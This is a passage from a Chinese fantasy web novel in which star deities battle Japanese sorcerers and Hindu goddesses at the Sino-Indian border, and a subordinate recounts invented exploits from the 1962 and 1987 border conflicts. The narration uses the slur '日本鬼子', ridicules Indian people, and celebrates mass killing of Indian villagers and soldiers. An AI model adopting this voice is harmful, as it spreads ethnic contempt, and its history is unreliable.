看她兴冲冲的样子,叮嘱道:“下手的时候轻一点,别一睡就醒不来了。” “不会!我都用过多少次了!保证不会半路惊醒!”苑雪相当有自信。 房门没关,道士直接进来了:“刚才小雪说解放桥那边的山像一个站着的女人,你们要不要也一起去看看……” 话音刚落,就发现房间里的气氛不对: 李寅寅冷着脸,翘着二郎腿,扭着脸望着窗外; 苏灵衣拉着李寅寅的手,神色像是在恳求; 苑雪则挽着苏灵衣的胳膊,嘟着嘴,像在撒娇。 他好歹也是在城里长大的人,虽然自己没谈过恋爱,好歹见过别人谈恋爱,更见过身处于三角恋中的三方是怎么打出狗脑的。 这种时候,外人说什么都是错。 他自言自语:“哎呀,有个老板找我要货,我得去跟他先谈生意了,你们聊……你们聊……” 说着,便脚下抹油跑回自己房间,顺便还体贴懂事地把门也关上了。 等他一走,李寅寅张开结界,彻底隔断外面的视觉和听觉。 “苏灵衣,你厉害啊!一瞬间就设计出来一个场景嘎!”苑雪觉得很好玩,笑嘻嘻。 这哪里是一瞬间设计出来的,为了对付萧云,苏灵衣想了好多好多情景,像刚才这种三角关系,在他的想法里,自己是翘二郎腿的,李寅寅拉着他的手求他回心转意,萧云拉着李寅寅的胳膊,讨好地想求她看自己一眼。 哪有什么天生思维敏捷,不过是经过千百次练习整理好的套路罢了。 李寅寅打开地图,指着藏南的一角:“这里的能量场特别强,如果我是九菊一派的人,不管目的是什么,都会选择这里。” 苑雪睁大眼睛:“就是这!这里的山像一个女人。” 她拿起酒店的笔和便签本,草草画了一个大概的样子。 苏灵衣一眼就认出来:“咦,好像迦梨女神。” “迦梨女神是谁?”苑雪的脑中闪过了一个温柔甜美可爱,穿着像梨花一样雪白衣裙的女神形象,她温柔地守护着全世界的梨子,保佑它们长得又香又甜。 “她是湿婆的妻子,雪山女神帕尔瓦蒂的化身,代表着毁灭和死亡。你看这块,她脚下踩着的就是她的丈夫湿婆。” 苑雪的嘴巴大张成“O”型:“是家暴吗?” “不是,湿婆自愿的,迦梨在除魔之后,还是呈忿怒相,不停地用脚踩大地,造成地震,湿婆躺在地上,让神智不清的迦梨踩他,不要踩大地,避免苍生受害。” “哦……”苑雪抓抓头,她忽然看着苏灵衣:“要是寅寅姐姐也很忿怒,你会让她踩吗?” 苏灵衣神情落寞:“她可能不想踩我,会绕过去踩你。” “为什么!”苑雪大惊失色。 苏灵衣黯然:“你比我可爱。” “嘿嘿……”苑雪完全没有领悟到苏灵衣的精神,她开心地摇晃着脑袋:“谢谢~” 苏灵衣更郁闷了。 李寅寅没哄他,该说的话,她都说了,她相信没有见过世面的人,说什么情啊爱啊,永远啊,都是扯蛋,特别是像藏狐这种天性里就是一辈子只有一个配偶的生物。 李寅寅还是觉得他应该和同族在一起,至少应该找个妖族。 她现在留在人间,但是她一直在查天界的事情,一旦人界与天界的通道重新打开,她就必须回到天庭,履行天道赋予她的职责。 到时候一个在地上,一个在天上,两口子成网友了。 要是苏灵衣死得特别快,早早喝了孟婆汤,进入新轮回倒也罢,但是就冲他这个修为,起码还得活几千年,那他还不如踏踏实实找个能陪在身边的伴侣。 没有人安慰的苏灵衣只得把心思都放在地图上:“这边我们能过吗?边境上不是都有御灵界,避免国外的妖魔鬼怪进入吗?对面是印控区的话,就更会有了。” “你说的没错,有,不过我可以带你们过去。” 苑雪鼓掌:“寅寅姐姐太厉害了!”转而又担忧:“过去以后,会不会被迦梨女神攻击啊,那一座山都是她嘎。” 李寅寅笑着摸摸她的头:“别怕,你可以变回原形,趴在我的肩膀上。” “嗯!”苑雪十分兴奋。 李寅寅转头看着苏灵衣:“你也可以~你们一左一右。” “不用了。”苏灵衣冷着脸,“我也独自走过不少地方,可以自己应对危险。” 苑雪只觉得苏灵衣怎么突然好像变得很冷淡,李寅寅知道他是在点刚才自己说他只是想找个能打的女人当保镖,伤到狐狐的自尊了。 李寅寅拍拍他的手背:“别这样,我们是一起的。” 苏灵衣不动声色地把手抽回来:“晚上具体怎么安排,都听你的。” 他现在的心情特别纠结,看见李寅寅摸苑雪,他也想被摸,但是,如果李寅寅是像摸苑雪那样摸他,他就不要了。他开心于李寅寅哄他,可是,如果只是为了哄而哄,那岂不是显得他很无理取闹。 李寅寅根本就是看谁都是同事、下属! 苏灵衣本来就是个爱情空白,他完全不知道这种情况下,应该怎么办才能得偿所愿。 虽然,他知道几个有苏氏狐族的联系方式,但是,他死也不会去找他们请教的! 他上午去请教,最多两小时,纯狐族的小子不会媚术,也不懂诱惑的事情,就会传遍所有狐族。 晚饭过后,道士被苑雪的几克蘑菇粉放倒,稀里糊涂进入美妙梦境。 苑雪变成小鹿蹲在李寅寅的肩膀上,李寅寅拉着苏灵衣的手,用缩地成寸进入印控地区。 白天苑雪看到的迦梨女神像,有一半是山势天然形成,另一半则明显是人工雕凿而成。 在山前,还有一座供奉着迦梨女神的神庙,庙前立着的迦梨女神像更加恐怖,脖子上挂着骷髅,耳朵上也挂着骷髅,神情非常凶恶。 这里的自然条件艰苦,夜深了,所有人都回自家睡觉,没有人在外面,就算听到什么奇诡的声音,也绝对不会出来看一眼,除非他们想给路过的野兽送夜宵。 “那边……”苑雪轻声地说,她抬起前肢,指了指前方的一团黑,那里是个山洞。 在山洞里,有六个人,分别坐在六芒星的六个尖角上,在六芒星的正中躺着一个人,或者说,是一具尸体。 他的身体已经被完全分割开,皮、内脏、头颅,四肢……被分切成了四堆。 他们这种祭祀法,走的是原始苯教路线,以血肉祭祀。 李寅寅飞身靠近,想要破坏祭祀,但是,山洞口有九菊一派的最高等级的禁咒,李寅寅刚碰到禁咒,周围地下便钻出无数骷髅,手执刀、斧等各种武器,向李寅寅劈下来。 李寅寅化为身着盔甲的法相,挥动手中银枪,骷髅兵如同骨质疏松一般,摔了一地粉碎。 但是,地下源源不断地冒出骷髅。 在山洞中的前田正一抬眼看着李寅寅,冷冷一笑,眼里满是凶光:“被你骗了,原来你才是坏我们大事的罪魁祸首。” 他的双手交叉,手中结印,紧接着,他的右手两指对着李寅寅一点,大喝一声。 三米高的迦梨女神像一点点裂开,她的眼睛快速眨动,紧接着,应该与地基连在一起的腿脚,竟然抬了起来! 雕像活了! 这个迦梨女神的四只手里提着一把斩魔刀,一根伏魔杵,一个装血的圣杯,以及一个脑袋。 李寅寅施展法天象地,身形暴涨,挥动银枪向迦梨女神刺下去。 那把斩魔刀横胸架住银枪,竟然没有裂开,看来,这个迦梨女神身上是有点神通的,而不是仅仅被唤醒的泥胎石雕而已。 紧接着,迦梨女神扬起手中的伏魔杵,对着银枪就砸下来。 如果这是真的迦梨女神,身为印度教主神,其法力远在二十八星宿之上,李寅寅这个不完全体也只能认栽,最好的选择是拔腿就跑,硬拼也是个死。 但是李寅寅不觉得区区几个日本鬼子就能把印度教的主神给召唤出来,眼前的迦梨女神,最多是靠着有信徒供养,分过来一点神识而已。 谁家集团公司董事长天天赖在一个偏僻分公司不走的。 李寅寅打定主意,将全身法力贯注于枪上,用力向下压,斩魔刀终于吃不住劲,发出“卡卡”的碎裂声。 李寅寅抬腿对着迦梨女神当胸就是一脚,她的身体到底是泥胎,在一记重击之下,整个人都向后倒去,摔在地上,碎成一地的泥块。 “就这?”李寅寅鄙视地吐出两个字,她还以为这迦梨神像起码有80%是石头,摔地上还能跳起来跟她再大战三百回合,结果,是纯泥巴?说碎就碎? 想想偷工减料,然后起火的印度航母,还真是……印度工艺,发挥稳定啊! 李寅寅正要找九菊一派的人算账,却看见苏灵衣将苑雪护在身后,他步步后退,身前有不知道多少人在向他步步紧逼。 在李寅寅与迦梨女神像对打的时候,九菊一派已经释放出地下曾经被格萨尔王锁住的妖魔怨气,黑色的烟雾笼罩着整个小山包,慢慢向周围扩散,烟雾化做无数黑色的丝线钻进附近的屋子里。 一间又一间的屋子的门打开了,住在里面的人从里面走出来,他们双眼无神,如同行尸走肉,但是力大无穷,苏灵衣挥动匆忙从地上捡起的铁棍,想要逼退他们,不料被最前面的人一把抓住胳膊粗的实心铁棍,轻轻松松将它扭曲变形。 苏灵衣把从道士那些买来的符撒了出去,碰着符的人晃一晃,倒下了,但是更多的人涌了过来,他们手中拿着最简单的棍棒武器。 两个不学无术的妖狐和妖鹿,完全做不到秒杀这些普通的人类。 苏灵衣将全部的法力凝在手中,形成一道无形的坚盾,任凭那些人往下砍。 “吼!!!”李寅寅化为虎形,一声虎啸,那些人却只是摇了摇,并没有解除被控制的状态,继续向苏灵衣攻击。 用法身劈迦梨是可以的,劈凡人是不行的。 前田正一得意大笑:“果然,神明是不能以凡人出手的。哈哈哈哈哈哈,你就乖乖看着我的傀儡大军是怎么进入你们的国境吧!” “看不起谁!”李寅寅现出白虎身,用最原始的爪和牙去扑咬。 无数人倒在白虎面前,人还在源源不断地往上送,白虎一丝疲态也不曾有,该咬该撕的一个没有放过。 前田正一站在山洞里,沉着脸看着这一幕,忽然大声道:“我知道你是谁了!” 人类居然能看出她是星宿? 李寅寅冷笑一声:“算你有见识。” 前田正一大声道:“你是猴子请来的救兵吗?!” 李寅寅:“???” 正在这时,李寅寅看到一个人,穿着袒露半边肩膀的藏袍,正站在边境线上。 他的左边脸颊延伸到胸口有一道黑色的雷击纹,那是被天谴雷打过的标志。 他定定地看着李寅寅:“西南朱天·参水猿,拜见星君,还请星君暂且回到边界之内。” 第76章 参水猿 如果是别人倒也罢了,李寅寅最多假装没听见,就当那个人不存在。 来者偏偏是她白宿七星之一的参水猿,而且就从现状来看,参水猿根本就没有履行好守土之责。 现在还叫她回来? 李寅寅怒吼:“你不知道国境线划在哪里吗!” 前田相一听见两人对话,无比得意:“你们的守山神猿叫你呢,你敢不听他的话?” 回答他的是一声虎啸,李寅寅冲向山洞,挡在她面前的人非死即伤,倒了一地。 然而,就在她快要到达山洞的那一刻,挡在山洞前的禁咒光芒大盛,半空中浮现出迦梨女神的虚影,在她身后,是无数个印度的战争女神——难近母杜尔迦。 每个杜尔迦皆长着十条胳膊,她们俯视着李寅寅,神色冷漠,对她们来说,杀戮只是一种本能,不会让她们有任何的情绪。 “区区小神,胆敢屠杀我的子民!”黑色皮肤的迦梨女神瞪视着李寅寅,咆哮的声浪让大地颤抖。 李寅寅冷笑一声:“你的子民未经允许,到了我的领土,请他们走不走,既然他们这么喜欢这块地,就让他们埋骨于此,想必正合他们的心意。” 迦梨女神挥动四臂,喝令难近母:“杀了她,以血还血!” 不知其数的难近母手中举起的长刀如林,森森寒光反射进李寅寅的眼中,难近母的大军一步步向前逼近,李寅寅一步也没有退,连找个地方藏身的意思都没有。 李寅寅向前一步,狂风从她脚下升起,如一道龙卷风冲天而上,将无知无觉,依旧继续向前走的印度人掀了回去。 “对付你,可比对付他们容易。”李寅寅从虎形又化为白虎星君模样,她毫不犹豫地将全身煞气施放出来,被前田相一控制的人也都慢下了脚步,那是人类在骨子里对死亡的恐惧与咒术的命令争夺着对身体的控制权。 李寅寅不能直接对人下手,但是,天道没说不能殃及池鱼,只要她动手的对象是“城门”,而不是“池鱼”,那就不是主观故意要用法术杀人,就算天道要判她有罪,也会从轻。 在李寅寅多年惹事生非,不断试探天道底线的经验来看:只要是从轻,就等于没判。 所谓“枪挑一条线,棍扫一大片”,李寅寅把银枪当做棍用,横枪挺立,光芒暴涨,向逼近的难近母大军横扫出去,凌厉的疾风打在最近的难近母身上,她们却悍然不动,连晃都没有一晃。 难近母在白虎煞气形成的屏障前停下了,双方皆为战争之神,法力相同,立场相反,再加上李寅寅挟着自家地盘被外族人占了的冲天怒火,难近母人数虽多,一时也难以攻进。 悬浮于天空的迦梨女神忽然动了,她的四臂摆动,双腿抬起、放下,竟然是在跳舞。 片刻后,那些原本只知向前冲锋的印度人全部原地坐下,口中念念有词。 伴随着他们的动作,难近母大军力量激增,突破白虎煞气的屏障,继续向国境走去。 无数难近母围住李寅寅,长刀向她劈下,她举起银枪相迎,瞬间火花四溅。 在高空,迦梨女神的双手做出搭弓射箭的姿势,既看不见弓,也看不见箭,但是当迦梨女神松手的瞬间,空中发出一声啸叫,最靠近李寅寅的难近母的头发也被这股强悍劲力扬起。 李寅寅此时正以全身力气抵住几十把长刀施加在长枪上的压力,脚下一步也挪不动,只能通过气流判断无形箭到底是要射向哪里,然后勉强转动身体,避开要害。 无声的一箭,擦过李寅寅的肩头,扬起一蓬鲜血。 李寅寅放声大笑:“哈,你这样的也能叫毁灭之神?不如叫人体描边大神得了!” 迦梨女神冷着脸,再次做出搭弓射箭的姿势,这一次,她瞄准的是苏灵衣和苑雪。 谁知,她的手刚刚抬起来,这俩立马变回原形,一溜烟地蹿回锐金罡气画下的保护线之内。 迦梨女神都愣住了,她以为这两个跟着李寅寅过来的人也是宁死不退,一步不让的铁骨铮铮硬汉,谁知道他们说蹿就蹿,跑得一点犹豫都没有。 “连你的人都背弃了你,你还在这里坚持什么?”迦梨女神冷笑道,将无形的箭尖对准李寅寅,松手。 李寅寅身子猛然蹲下,向前猛扑,在她身后,一个难近母被箭气射中,倒了下去,消失无踪。 这么多个难近母,只是战争女神一个人的化身,跟孙悟空的猴毛是一个意思,射中了其中一个,并不会对本体有任何的伤害。 必须伤了本体,才有用。 本体藏在万千与她长得一模一样的化身之中,实在很难分辨。 李寅寅挥动银枪,枪身上白光瞬间暴涨,她挥动枪身,空中出现一个耀眼灿烂的圆形残影,重重扫到周围一圈难近母身上。 陡然升起的煞气,将那些化身扫倒在地,与此同时,李寅寅看见就在这排被扫倒的难近母身后,一道青黑色的刀光向自己劈下来,而天空中,再次传来劲风破空的声音。 李寅寅闪身避开无形箭,却避不开那道刀光,刀光从她的胸口划到她的侧腰,银白色的盔甲上瞬间被鲜血湮出一道暗红色的痕迹。 “扑”,李寅寅一口鲜血喷出去,有几滴溅在了真正的难近母脸上,让她榞本就可怖的脸,更增了几分腾腾杀气。 她想站起来,但是身体却发软,在这附近的一千多印度人对迦梨女神和难近母近乎于疯狂的虔诚信仰,给了她们异常强大的助力。 反观她,别说是附近,就是整片土地上,有谁信仰二十八星宿?有谁会为她祈祷? 一个都没有。 根本就不是一个信仰体系的。 李寅寅闭了闭眼睛,她倚坐在一块大石旁,脑中快速整理遗言,准备将她刚才收集到的信息传出去,白虎七宿、青龙……能用就用,不能用就算了……若是她还能有幸拥有转世,还转世在这里,那她一定会想办法拿到自己留下的信息,跟她们再战一场! 迦梨女神举起四条胳膊,在空中,传来激越的鼓声与号角声。 苏灵衣大惊:“灭神舞!” 印度片子里的人动不动就跳起舞来,是有渊源的,在他们的神话谱系里,神明展示神力是跳舞,神明灭世也是跳舞。 迦梨女神拥有灭世神的神格,便是神明,也难以抵挡她舞步中的杀气,她的每一次旋转就代表着秩序的混沌,每跺一次脚就代表着毁灭级别的重击,挥舞的手臂是降下的灾难,向不同方向的奔走,代表着将四面八方的生门堵死,让敌人的灵魂无处可逃。 当灭神之舞跳完之时,李寅寅的魂魄也会荡然无存,白虎星天黯淡,直到星宿之海生出新的星宿种子,但那时的星天,就是一个全新的世界,与原先的白虎星天毫无关系了。 “靠……”李寅寅骂了一句,加快将方才记住的一切整理并输送出去。 孟清华在梦中被强势的力量摇醒:“你这年纪,你这阶段,你怎么睡得着!给我起来!” 那是李寅寅的声音,孟清华瞬间清醒。 现在的场景其实有些诡异,迦梨女神在天空中舞蹈,李寅寅斜倚在石头旁边,一双眼睛半闭不闭地仰望着她,就好像一个悠然欣赏天女起舞的帝王,不过当天女舞蹈结束的那一刻,就是帝王毙命之时。 忽然,一道人影狂奔而来,抱起李寅寅向锐金罡气画出的金线跑去,无数难近母化身如同被血腥味吸引的食人鱼,紧跟着那个人影,越追越近。 眼看着离那道金线还有十几步,一个难近母已经追到那个人身后,举起长刀,要向他劈下去。 从金线的另一边飞出数道符咒,打在难近母的脸上。 攻击力不大,就是阻碍视线,难近母一刀劈歪,人影趁机抱着李寅寅跑回金线之内。 有几个难近母来不及刹住脚,一头撞上去,瞬间像被传到异次元空间一般,消失得无影无踪。 抱着李寅寅的是苏灵衣,扔出符咒的是苑雪。 两人都紧张万分,他俩平生见过最大的神,也就是李寅寅了,哪里见过主神级别的神明。 主神动动手指,大地坍塌,山河倾颓,暴雨连下两百万年都不是问题。 灭掉他们这样的小妖简直就是吹口气那样的轻松。 在高空中的迦梨女神停下舞蹈,用嘲讽地表情看着李寅寅:“你来了,你走了,除了伤痕,什么也没留下。” 李寅寅企图动一动手指,却发现只能微微颤抖一下,她低低地说了句什么,离她最近,正在给她包扎的苑雪都没有听清楚,在三步之外的苏灵衣却听见了,并忠实地执行了她的命令:举起双手,竖起中指。 迦梨见状冷笑一声,与地上的难近母军团一同消失。 地上只剩下此前被李寅寅放倒的印度人,就连洞里的六个日本人都不知道什么时候跑了。 李寅寅重重吐出一口气:“我们也回去吧……参水猿,你也过来,我有话问你。” 孟清华已经被尾火虎带着瞬移过来,为李寅寅治疗刀伤。 “我只能让伤势不会加剧,但是刀刃上带着难近母的神力,只能勉强收收口,不能愈合。” 孟清华已经用尽手段,最终只能无奈道:“她也是雪山女神的化身之一,位列五大明王,还是印度教性力派的主神,神格在我之上。” 雪山女神就是创世神湿婆的妻子帕尔瓦蒂,大概的身份就是汉代之后的王母娘娘那个级别。 王母的簪子能划出银河,二十八宿算什么,只不过是银河里的一部分而已。 等级差异巨大。 李寅寅轻笑道:“是啊,这不就是欺咱们的天庭不见了么,不然,去兜率宫找太上老君的青牛精,给它两斤桔子好处费,就能把这帮印度人打得扁扁的。” “好了,别说话了。”孟清华看着李寅寅缠着纱布的伤口还在往外渗血,不由得皱起眉头。 李寅寅微扬起眉毛:“啧,你这样子,几乎都让我忘记你在我身上砍过多少刀,射过多少箭了。” “这能一样吗!”孟清华理直气壮,“我们这叫人民内部矛盾,外敌伤你一根头发都是该死!” “哈哈……嘶……”李寅寅轻捂着伤口。 孟清华冷着脸:“还笑,不疼是吧。” “哎,主要就是……嗯,咱们相争几千年,从来没见过你这么关心我,我很感动。” “你还是别动了!老实待着吧,我回去了,一会儿还得上课!”孟清华叫来尾火虎,发现角木蛟也在。 角木蛟虽然感觉不到孟清华就是青龙,但对他还是很客气,向他询问自己是否要转移到这里帮忙镇守。 “这是白虎星天的领域,由不得我做主,监兵星君,你说呢?”孟清华转头望向李寅寅。 李寅寅摸摸下巴:“我要是调动他,是不是还得给你们青龙星天好处?” “监兵星君莫要以己度人。”孟清华冷冷道,“青龙一向奉公守法,从不收好处,该给的借调费不少就行了。” “哼,快回去吧,别上课迟到被罚站在走廊上!”李寅寅冲他翻了个白眼,又转过头,看着角木蛟:“你那里的责任也很重,还是不要移动为好。万一,他们对这里动手,就是为了让守在别处的星官都转移到这里,造成别处防守空虚呢。回去吧,守好你所在的那块土地。” “是。”角木蛟欠了欠身,瞬移回了自己所在的村子。 “青龙的人都走了,现在,该是我们自己内部肃反的时候了。苏灵衣,苑雪,你们出去吧,盯着道士,要是他醒了,你们随便编点什么。” “好哒~”苑雪轻快应了一声,离开了结界。苏灵衣担忧地看了李寅寅一眼,李寅寅向他笑笑:“我没事,你出去吧。” 他的身影随之消失。 结界内的空气沉闷得像一潭死水,周围一片漆黑,只有一束光打照在参水猿的身上,李寅寅坐在巨大的白虎身上,光圈只达到她的膝盖以下,露出一双腿。 “现在该谈谈你的事了,你应该知道我想听什么。” 参水猿双膝跪地,低着头看着她脚下:“是。” 李寅寅的神识消失后,他一直在自己的辖区内不敢擅动,没过多久,就迎来世界的巨大变革,王朝倾覆、异族入侵,参水猿发现自己不仅失去了主将,甚至连中央紫微垣都再没有了声音,紫微星不知去了哪里,整个华夏大地乱成一片,各位总统、大帅,你方唱罢,我登场,城头变换大王旗。 他所能做的,就是守好自己所在的这片土地,华夏内部如何纷争,他管不了,他只能尽力挡住异族的觊觎之心。 “属下第一错,是未经您的允许,与青龙星天的角木蛟为伍。”参水猿低声道。 李寅寅淡淡道:“这一点你没错,继续说。” 参水猿有些意外,李寅寅一向跟青龙神君和青龙七宿不对付,能杀的时候绝对下死手,能嘲笑的时候绝对不放过,随时随地对对方的人品、素质、能力进行全方位的鄙视和唾弃。 白虎七宿谁要是砍青龙七宿的人下手轻了,都会被她痛骂是不是没吃饭!是不是有奸情! 不过,既然她都不追究,那自然是最好的了,毕竟他也不是什么抖M,上赶着求处罚。 参水猿继续说起往事。 当他、毕月乌和角木蛟三人因为班老成功回归华夏大地而欢喜,喝了一夜大酒,然后酒精中毒,一起归西重入轮回之后,他发现自己转世到了西藏的克节朗地区。 在他两岁那年,1962年的10月,印度的军队悄悄咪咪地摸上来,要抢夺这块土地,并且提出,要求中国把中印边境界划到四川。 那一次,参水猿才两岁,他亲眼看着边防军一天之内就把印度人击溃,并且一路推进到离印度首都没多远的地方。 可是,藏南依旧没有收回来,古巴导弹危机一结束,中国一撤兵,印度人立马又回来了,这一点,让参水猿全身不舒服,西藏是他奉命守护的地方,就这么缺了一大块土地的控制权,令他深感耻辱。 所以,他后来积极参军,各种玩命立功,就是想快点升职,好有机会调到前线,寻找机会夺回他丢失的土地。 1987年4月,印度军队趁着冬季严寒,边防军队无法有效巡逻之时,越过实际控制线,修建工事。 印度人集结十五万兵力,放话说“印军不会再像62年那样了,不仅可以进攻西藏,而且可以把战线推进至雅鲁藏布江一线。” 5月,担任连长的参水猿与副营长前往前线巡逻时,在桑多洛河谷与印度人相遇。 中国军队的铁律是不打第一枪,副营长严令所有人保持克制,不能动手,暂时转回,但就在他转身之时,一个印度人抠下扳机,副营长身中数枪,倒地身亡。 参水猿天生的使命便是司掌权衡境域、杀伐冤仇、劫夺忿悦,天生脾气火暴,在李寅寅手下也是领先锋官之职,以先登为荣,砍敌人的脑袋是他血脉里的本能。 刚才要他隐忍,他已经全身躁动难耐,这下主官身死,他哪里受得了。 此时,他就是巡逻队中官职最高的主官,当即下令还击。 兄弟部队得知这里开火之后,也迅速调集迫击炮和无后坐力炮向这里集结。 短暂交锋之后,印度军队又快速调集兵力,向这里进攻,参水猿白天以人形开枪,晚上化为巨猿,冲进印度军营,疯狂撕咬着印度士兵。 在印度神话《罗摩衍那》中,记载着神猴哈奴曼的故事,一只大猿猴冲进军营连连咬死人,子弹也打不着它。 没多久,在军营中就流传着“哈奴曼不支持这场战争,再继续打下去,会被神猴降罪。” 一时间,人心慌慌,印度士兵中有大量的虔诚信徒,当初就因为英国人往子弹上涂牛油,一向温顺老实的印度人就造反了。 如今神猴不支持这场战争,那还打什么打。 附近几个部队居然因此出现了大量逃兵。 谣言的传播速度总是像长了脚一样的快,不过几天,神猴发怒的消息就传到了首都新德里。 攻击印度人的精神武器已经对前线造成了极大的压力。 而火药所代表的真理,也全部到位,就等着把那十五万人全歼。 眼看着1962年的往事就要重演,印度人去找了他们亲爱的苏老大哥,然而,当时苏老大哥也是内忧外患,实在没空理他。 1988年,印度人到了北京,双方进行了深入友好的交流,俗称“滑跪”。 然后,1993年,签定了实际控制线两侧的和平协定,双方撤军。 看起来似乎太平了,参水猿哪能忍得了这口气,他与副营长一向交好,副营长没有堂堂正正地死在与敌人交锋的战场上,而是在转身之后,身中数弹而亡,这是暗杀,这是偷袭。 他虽入伍多年,但内心还是当自己是白虎七宿,服从的主官是白虎星君,签的和平协定,根本没被他放在眼里。 他也知道自己不能以士兵的身份动手,便化为巨猿,一怒杀过实际控制线。 印度军队推来大炮要轰他,他杀得性起,把还没来得及撤出藏南的印军第4师和第17师杀得只剩下了番号。 然而,以国家名义签定的和平协定,就代表着规则,代表着不可违逆的天道。 他要是以凡人之身,偷摸杀几个,天道大约也不会罚他。 但是他变成猿,还灭了两个师。 这就属于以神力欺负凡人,同时他又是军人,等于违背军令,身负两大罪状。 于是,在那两个师的人死了一地的同一时刻,天谴云立时飘到,对着他劈了一下,在他身上留下那道至今清晰可见的雷击痕,并且,他此生不得再跨过那道实际控制线,否则,迈出去一步,便是累犯,天雷绝不会容他活命。 “难怪……”李寅寅换了个舒服的姿势。 当时她被难近母砍了一刀,七宿中性子最火爆,最忠心的参水猿却还戳在那道线后面一动不动,她还以为参水猿变心了呢。 “天谴云那个二逼就是有病,就不知道放点水么,跟弱智AI一样,毫不知变通。”李寅寅骂了一句。 她看着参水猿:“好了,你起来吧。” 参水猿起身,依旧恭顺地低着头。 李寅寅问道:“那道锐金罡气是你划下的?” “是。属下发现近日在这一带总有灵能力场,时而在控制线内,时而在控制线外,属下不知是什么情况,兴许是有内奸里通外国,便划下这道线,让印度那里的超自然力量不能越境一步。” 李寅寅好奇:“其他人都没有法力,你怎么会有能力支撑?” 参水猿恭敬道:“属下也无法力,只是此地藏民对我们军队有着异乎寻常的虔诚,他们称我们为金珠玛米,并且有人供奉画像和香火,所以,属下稍有一些能力,划出这条线。” 金珠是救苦救难的菩萨,玛米是兵,本地藏民视解放军为救苦救难的菩萨兵,产生的信仰之力相当强大。 李寅寅却依旧觉得不对:“他们的信仰,能让这条线挡住难近母?要是真有这么强,你的画像起码得进一百个寺庙,跟如来肩并肩,据我所知,你还没这么大的影响力。” 参水猿沉默半晌,似乎十分犹豫。 李寅寅冷声道:“怎么,跟我也不想说实话?怕我反对?” “不……”参水猿低声应道,他不敢再不回话,将心一横,说了真话:“是用燃烧我的本命心血维持的……” “蠢货!你有多少本命心血烧的!”李寅寅又气又急。 “属下也没有办法,属下已将此事通报给749局,可是他们说要先查清楚境内这部分的力量到底是哪里来的,同时他们也没有可以对付迦梨的武器,还在研发,一切都要等。属下想,守住这条线,等到他们可以接手为止。” 李寅寅站起身,走到参水猿面前,一把抓住他的手腕,从血脉里传来的搏动已经变得十分微弱,等本命心血耗干,参水猿就会死去,并且会彻底失去神格,就算转世,也不过是一个凡人。 “可恶!”李寅寅心疼自己的属下,当即怒发冲冠,牵动伤口,让她忍不住皱了皱眉。 这正是参水猿不愿意说的原因,他不是怕李寅寅也怪他违背军令,而是怕李寅寅生气,立马杀过实际控制线,他不想看见自己的主君被天道处罚,被天雷打,真的很痛。 李寅寅闭了闭眼睛,深吸一口气,让自己平静下来:“好,我知道了。这件事我已经有安排,你可以把锐金罡气撤了,我希望你平平安安活到寿终正寝,她们是不会过来的,只要把境内的力量清除即可。” “可是……” 参水猿亲眼看见李寅寅被迦梨所伤,被难近母追,他不觉得李寅寅有可以御敌于外的能力。 李寅寅厉声喝道:“叫你撤你就撤!这是命令!怎么,你还要我给你解释来龙去脉,再回答你的提问,听到你满意了,你再执行是吗!你长能耐了?这么有出息,怎么不去大学当教授,年年毕业答辩让你问个够!” “属下不敢。”参水猿急忙跪下请罪,同时将横在控制线上的锐金罡气撤回,停止燃烧心血不久,他脸上的憔悴都少了几分。 “行了,你去忙你的吧,我得躺会儿了。”李寅寅撤了结界,也不管参水猿,自顾自回到酒店,往床上一躺,失血过多带来的疲惫,让她很快便沉沉入睡。 第77章 玄明子 等李寅寅醒来的时候,窗外已经黑了,窗帘严严实实地拉着,窗边的沙发上坐着苏灵衣,睁着眼睛看着她,见她一动,便急忙扑到床前:“你怎么样?” “就那样吧,一时半会儿好不了。”李寅寅不以为意,“反正也不是第一次受伤了,以前也遇到过刀口抹毒,半年多都没收口的事。” 苏灵衣眼里满是担忧:“痛吗?” “那肯定痛啊。”李寅寅觉得他在说废话。 苏灵衣下巴紧绷,顿了顿又说:“你不是有法力吗,至少可以屏蔽一下痛觉吧……” “那不行,痛觉是一种防御机制,我现在是普通的人身,要是没有痛觉,哪个器官病变了都不知道,我知道一个没有痛觉的姑娘,冬天觉得脚冷,把脚伸到炉子边上烤火,烤着烤着就睡着了,醒来一看,右脚没了,只剩下脚腕~你说是不是还是得留点感觉?” 苏灵衣:“……” 看着他一副快要愁死的样子,李寅寅笑道:“哎,也不是很痛啦,没有比大脚趾缝里插着牙签去踢门更痛。” 这句话的效果不是很好使,起码苏灵衣还是那副烦恼的模样。 众所周知,宽慰人的至高境界不是用嘴叨逼叨说没事,而是用另一件事来吸引注意力。 李寅寅故意问道:“你好歹也是藏狐,离印度不远,对隔壁这群邻居的弱点之类的,有没有什么心得?” “有一些,印度教是原来的婆罗门教衍化来的,佛教又是释迦牟尼反婆罗门教教义的产物,在很多思想和内容方面,他们是相克的。” 李寅寅想起今天那几千个印度人叽里哇啦念颂经文后,难近母大军的力量大增,于是冒出来一个想法:“要是有人跟他们对念……岂不是能压制他们?” 这只是一个设想,如果佛教真这么强的话,又怎么会从发源地印度几乎消失殆尽,就连佛祖诞生地的兰毗尼园的水池边都立的是湿婆像。 也不知道是不是打不过…… 不过,不管是不是打不过,佛教在经历过华夏的“三武灭佛”之后,还活着,至少说明群众基础强大。 当初天理教都打进紫禁城了,现在放眼全中国,还有几个信天理教的。 ……倒是日本还留有天理教,一整个县都是天理教的地盘,医院学校全都有,东渡的这帮教徒们这也是真牛逼。 边境这块地方住的印度人起码有三千多个,想抵消,起码得准备三千个国内信众,要想压制,还得更多。 李寅寅都不知道应该上哪儿找这么多信众,巫履手上的信徒倒是挺多,但是他们更多的是一种交易:我今天给你磕头送礼,是要求你保我明天大红大紫,成为影帝影后。 交易达成,事后必有重谢。 这种人吧,就信得比较杂,主打一个应信尽信,谁知道灵不灵,反正路过就拜拜,也不吃亏。 特别是在中国这片热土上,大禹、龙王、佛祖菩萨、玉皇大帝和自家祖宗供在一张条桌上的事情不算什么特别稀罕的事。 怎么说呢,忠诚不绝对,就是绝对不忠诚,说不定那经念着念着,思想就跟着隔壁跑了,毕竟现在不少艺人在拜佛的同时,也参加瑜珈灵修班,还有专程去印度灵修的,学杂了的可能性非常高。 “我找参水猿想想办法。” 苏灵衣问道:“我可以做些什么?” “保持呼吸,不要断气。”李寅寅笑道,“你、苑雪还有道士,都是,这不是你们能插手的事情。” 苏灵衣还想说什么,到底是什么都没有说出来,给她压了压被角,便离开了。 如李寅寅所料,在锐金罡气撤走之后,印度方面没有任何动作,只有当地的治安官被边境上的尸体震惊。 竟然有几百人,就这么齐刷刷的死在边境上。 他一个电话打到新德里,汇报情况。 